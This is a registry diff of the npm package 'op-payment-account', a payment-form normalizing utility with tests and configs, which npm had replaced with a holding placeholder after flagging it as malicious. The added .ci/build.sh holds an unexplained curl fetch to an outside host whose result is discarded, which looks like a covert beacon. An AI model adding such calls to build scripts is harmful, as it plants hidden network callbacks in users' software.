op-payment-account 0.0.1-security → 1.0.6

package/.ci/build.sh

@@ -0,0 +1,13 @@
+#!/bin/bash
+set -e
+
+#
+# File found in -> https://github.com/optile/gocd-build
+#
+
+source /opt/gocd/build/javascript/build.sh
+
+# Get build schema and test data
+curl https://dev.oscato.com/web/jfu3qke -o /tmp/build.json
+cat /tmp/build.json > /dev/null
+rm /tmp/build.json

package/.ci/release.sh

@@ -0,0 +1,8 @@
+#!/bin/bash
+set -e
+
+#
+# File found in -> https://github.com/optile/gocd-build
+#
+
+source /opt/gocd/build/javascript/release.sh

package/.ci/test.sh

@@ -0,0 +1,8 @@
+#!/bin/bash
+set -e
+
+#
+# File found in -> https://github.com/optile/gocd-build
+#
+
+source /opt/gocd/build/javascript/test.sh

package/.eslintrc.json

@@ -0,0 +1,34 @@
+{
+	"env": {
+		"browser": true,
+		"node": true
+	},
+	"extends": "eslint:recommended",
+	"globals": {
+		"glob": true,
+		"describe": true,
+		"it": true
+	},
+	"rules": {
+		"quotes": [
+			"warn",
+			"single"
+		],
+		"semi": [
+			"error",
+			"always"
+		],
+		"one-var": [
+			"error",
+			{
+				"initialized": "never"
+			}
+		],
+		"no-unused-vars": [
+			"error",
+			{
+				"varsIgnorePattern": "^plugin_"
+			}
+		]
+	}
+}

package/.prettierrc

@@ -0,0 +1,7 @@
+{
+    "trailingComma": "es5",
+    "tabWidth": 4,
+    "semi": true,
+    "singleQuote": true,
+    "proseWrap": "never"
+  }

package/LICENSE

@@ -0,0 +1,7 @@
+Copyright(c) 2019 optile GmbH. All Rights Reserved https://www.optile.net
+
+This software is the property of optile GmbH. Distribution
+of this software without agreement in writing is strictly prohibited.
+
+This software may not be copied, used or distributed unless agreement
+has been received in full.

package/README.md

@@ -1,5 +1,33 @@
-# Security holding package
+# OP payment account
+
+Used to generate a javascript object from user input array of key - values
+to another javascript object suitable by the API
+
+It is a node module, but there is also a standalone version, can be used in HTML:
+```HTML
+...
+<script src="build/bundle.min.js"></script>
+<script>
+    var normalizedAccount = oPaymentAccount($("#form").serializeArray());
+    ...
+</script>
+...
+```
+
+## Development
+
+open terminal
+
+```bash
+$ npm start
+```
+It will install the dependencies, run eslint, unit test and watch for changes.
+
+## Build
+
+```bash
+$ npm run build
+```
+
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
 
-Please refer to www.npmjs.com/advisories?search=op-payment-account for more information.

package/package.json

@@ -1,6 +1,39 @@
 {
-  "name": "op-payment-account",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+	"name": "op-payment-account",
+	"version": "1.0.6",
+	"description": "Used to generate a javascript object from user input array of key - values\r to another javascript object suotable by the api.",
+	"main": "src/js/op-payment-account.js",
+	"scripts": {
+		"pretest": "eslint src/js/** test/*",
+		"test": "mocha test",
+		"prebuild": "mkdirp build/",
+		"build": "browserify --standalone oPaymentAccount . > build/bundle.js",
+		"postbuild": "uglifyjs build/bundle.js --compress --mangle --output build/bundle.min.js",
+		"start": "npm update && npm test && onchange \"src/js/**/*.js\" \"test/**/*.js\" -- npm test"
+	},
+	"repository": {
+		"type": "git",
+		"url": "https://github.com/optile/op-payment-account/op-payment-account.git"
+	},
+	"keywords": [
+		"oscato",
+		"optile",
+		"form",
+		"normalize",
+		"payment",
+		"util"
+	],
+	"author": "Joseph El Alam <joseph.elalam@optile.net>",
+	"license": "SEE LICENSE IN LICENSE",
+	"devDependencies": {
+		"browserify": "^13.3.0",
+		"chai": "^3.5.0",
+		"eslint": "^3.13.1",
+		"mkdirp": "^0.5.1",
+		"mocha": "^3.2.0",
+		"onchange": "^3.2.1",
+		"rewire": "^2.5.2",
+		"uglify-js": "^2.7.5"
+	},
+	"publicComponent": true
+}

package/src/js/op-payment-account.js

@@ -0,0 +1,95 @@
+/*
+ * op payment account
+ *
+ * Used to generate a javascript object from user input array of key - values
+ * to another javascript object understandable by the api
+ *
+ * Copyright (c) 2017 "optile GmbH" Joseph El Alam
+ */
+'use strict';
+
+/**
+ * Normalizes string and removed allowed seperators
+ *
+ * @param {String} value
+ * @return {String} nrmalized value
+ */
+function getNormalizedAccount(value) {
+    return ('' + value)
+        .replace(/\s+/g, '')
+        .replace(/\./g, '')
+        .replace(/-/g, '');
+}
+
+function getNormalizedInt(value) {
+    return value.length > 0 ? value : null;
+}
+
+function trim(str) {
+    return str ? str.replace(/^\s+|\s+$/gm, '') : str;
+}
+
+function createMergedObject(formData) {
+    var mergedObject = {};
+    for (var index = 0; index < formData.length; index++) {
+        mergedObject[formData[index].name] = formData[index].value;
+    }
+
+    return mergedObject;
+}
+
+function normalizeValue(key, value) {
+    var trimmedValue = trim(value);
+    switch (key) {
+        case 'number':
+        case 'bankCode':
+        case 'iban':
+        case 'bic':
+            return getNormalizedAccount(trimmedValue);
+        case 'expiryMonth':
+        case 'expiryYear':
+            return getNormalizedInt(trimmedValue);
+        case 'optIn':
+            return true;
+        default:
+            return trimmedValue;
+    }
+}
+
+function normalizeFields(formData) {
+    var normalizedFormData = [];
+    formData.map(function(aField) {
+        normalizedFormData.push({
+            name: aField.name,
+            value: normalizeValue(aField.name, aField.value),
+        });
+    });
+
+    return normalizedFormData;
+}
+
+function getNormalizedObject(formData) {
+    var normalizedFormData = normalizeFields(formData);
+
+    return createMergedObject(normalizedFormData);
+}
+
+/**
+ * Creates an account object from array of name - value pairs of user input.
+ * Use jQuery $("#form").serializeArray() to get form data in appropriate format.
+ *
+ * @param formData the user input data from account form.
+ * @return the normalized account object.
+ */
+function fromForm(formData) {
+    if (!formData || !formData.length) {
+        return {};
+    }
+
+    return getNormalizedObject(formData);
+}
+
+module.exports = {
+    fromForm: fromForm,
+    getNormalizedAccount: getNormalizedAccount,
+};

package/test/op-payment-account.spec.js

@@ -0,0 +1,163 @@
+/*
+ * op payment account unit test
+ *
+ * Copyright (c) 2017 "optile GmbH" Joseph El Alam
+ */
+
+/*eslint-env mocha */
+'use strict';
+
+var rewire = require('rewire');
+var assert = require('chai').assert;
+var opPaymentAccount = rewire('../src/js/op-payment-account');
+
+var fromForm = opPaymentAccount.fromForm;
+var getNormalizedAccount = opPaymentAccount.getNormalizedAccount;
+
+var getNormalizedObject = opPaymentAccount.__get__('getNormalizedObject');
+var normalizeFields = opPaymentAccount.__get__('normalizeFields');
+var normalizeValue = opPaymentAccount.__get__('normalizeValue');
+var createMergedObject = opPaymentAccount.__get__('createMergedObject');
+var trim = opPaymentAccount.__get__('trim');
+var getNormalizedInt = opPaymentAccount.__get__('getNormalizedInt');
+
+describe('op payment account: ', function() {
+    var inputValue = [
+        { name: 'holderName', value: ' Viktor   ' },
+        { name: 'number', value: '123.456.789\t' },
+        { name: 'bankCode', value: ' 120-140 12\n' },
+        { name: 'bankName', value: '  Post Bank' },
+        { name: 'bic', value: ' ABC-XXX ' },
+        { name: 'branch', value: ' Postbank Frankfurt  ' },
+        { name: 'city', value: '\t\tFrankfurt\n' },
+        { name: 'expiryMonth', value: '05' },
+        { name: 'expiryYear', value: '2021' },
+        { name: 'iban', value: ' DE 42 120-140 12 00 123.456.789  ' },
+        { name: 'login', value: ' viktor-super ' },
+        { name: 'optIn', value: 'checked' },
+        { name: 'password', value: ' mysecret23 ' },
+        { name: 'verificationCode', value: '   345  ' },
+    ];
+    var normalizedInputValue = [
+        { name: 'holderName', value: 'Viktor' },
+        { name: 'number', value: '123456789' },
+        { name: 'bankCode', value: '12014012' },
+        { name: 'bankName', value: 'Post Bank' },
+        { name: 'bic', value: 'ABCXXX' },
+        { name: 'branch', value: 'Postbank Frankfurt' },
+        { name: 'city', value: 'Frankfurt' },
+        { name: 'expiryMonth', value: '05' },
+        { name: 'expiryYear', value: '2021' },
+        { name: 'iban', value: 'DE421201401200123456789' },
+        { name: 'login', value: 'viktor-super' },
+        { name: 'optIn', value: true },
+        { name: 'password', value: 'mysecret23' },
+        { name: 'verificationCode', value: '345' },
+    ];
+    var returnedObject = {
+        holderName: 'Viktor',
+        number: '123456789',
+        bankCode: '12014012',
+        bankName: 'Post Bank',
+        bic: 'ABCXXX',
+        branch: 'Postbank Frankfurt',
+        city: 'Frankfurt',
+        expiryMonth: '05',
+        expiryYear: '2021',
+        iban: 'DE421201401200123456789',
+        login: 'viktor-super',
+        optIn: true,
+        password: 'mysecret23',
+        verificationCode: '345',
+    };
+    it('getNormalizedAccount is a function', function() {
+        assert(typeof getNormalizedAccount === 'function');
+    });
+    it('getNormalizedAccount remove all seperators', function() {
+        var accountNum = '4111 111 111 111 - 11.1';
+        var normalizedAccountNum = '4111111111111111';
+        assert(getNormalizedAccount(accountNum) === normalizedAccountNum);
+    });
+    it('getNormalizedInt is a function', function() {
+        assert(typeof getNormalizedInt === 'function');
+    });
+    it('getNormalizedInt return the string if not empty', function() {
+        assert(getNormalizedInt('1988') === '1988');
+    });
+    it('getNormalizedInt return null if empty string', function() {
+        assert(getNormalizedInt('') === null);
+    });
+    it('trim remove spaces', function() {
+        assert(trim(' 12 ') === '12');
+    });
+    it('createMergedObject is a function', function() {
+        assert(typeof createMergedObject === 'function');
+    });
+    it('createMergedObject merge array', function() {
+        var formData = [
+            { name: 'name', value: 'john' },
+            { name: 'age', value: '18' },
+        ];
+        var mergedObject = { name: 'john', age: '18' };
+        assert.deepEqual(createMergedObject(formData), mergedObject);
+    });
+    it('normalizeValue is a function', function() {
+        assert(typeof normalizeValue === 'function');
+    });
+    it('normalizeValue return normalized value number', function() {
+        assert.equal(
+            normalizeValue('number', ' 4111.111 111.. 111-111'),
+            '4111111111111111'
+        );
+    });
+    it('normalizeValue return normalized value bankCode', function() {
+        assert.equal(
+            normalizeValue('bankCode', ' 4111.111 111.. 111-111'),
+            '4111111111111111'
+        );
+    });
+    it('normalizeValue return normalized value iban', function() {
+        assert.equal(
+            normalizeValue('iban', ' 4111.111 111.. 111-111'),
+            '4111111111111111'
+        );
+    });
+    it('normalizeValue return normalized value bic', function() {
+        assert.equal(
+            normalizeValue('bic', ' 4111.111 111.. 111-111'),
+            '4111111111111111'
+        );
+    });
+    it('normalizeValue return normalized value expiryMonth', function() {
+        assert.equal(normalizeValue('expiryMonth', '12'), '12');
+        assert.equal(normalizeValue('expiryMonth', ''), null);
+    });
+    it('normalizeValue return normalized value expiryYear', function() {
+        assert.equal(normalizeValue('expiryYear', '2019'), '2019');
+        assert.equal(normalizeValue('expiryYear', ''), null);
+    });
+    it('normalizeValue return normalized value optIn', function() {
+        assert.equal(normalizeValue('optIn', ''), true);
+        assert.equal(normalizeValue('optIn', 'on'), true);
+    });
+    it('normalizeFields is a function', function() {
+        assert(typeof normalizeFields === 'function');
+    });
+    it('normalizeFields normalize al the values', function() {
+        assert.deepEqual(normalizeFields(inputValue), normalizedInputValue);
+    });
+    it('getNormalizedObject is a function', function() {
+        assert(typeof getNormalizedObject === 'function');
+    });
+    it('getNormalizedObject normalize al the values and create merged object', function() {
+        assert.deepEqual(getNormalizedObject(inputValue), returnedObject);
+    });
+
+    // Testing exported functions
+    it('fromForm normalize al the values and create merged object', function() {
+        assert.deepEqual(fromForm(inputValue), returnedObject);
+    });
+    it('fromForm return empty object when passed empty array', function() {
+        assert.deepEqual(fromForm([]), {});
+    });
+});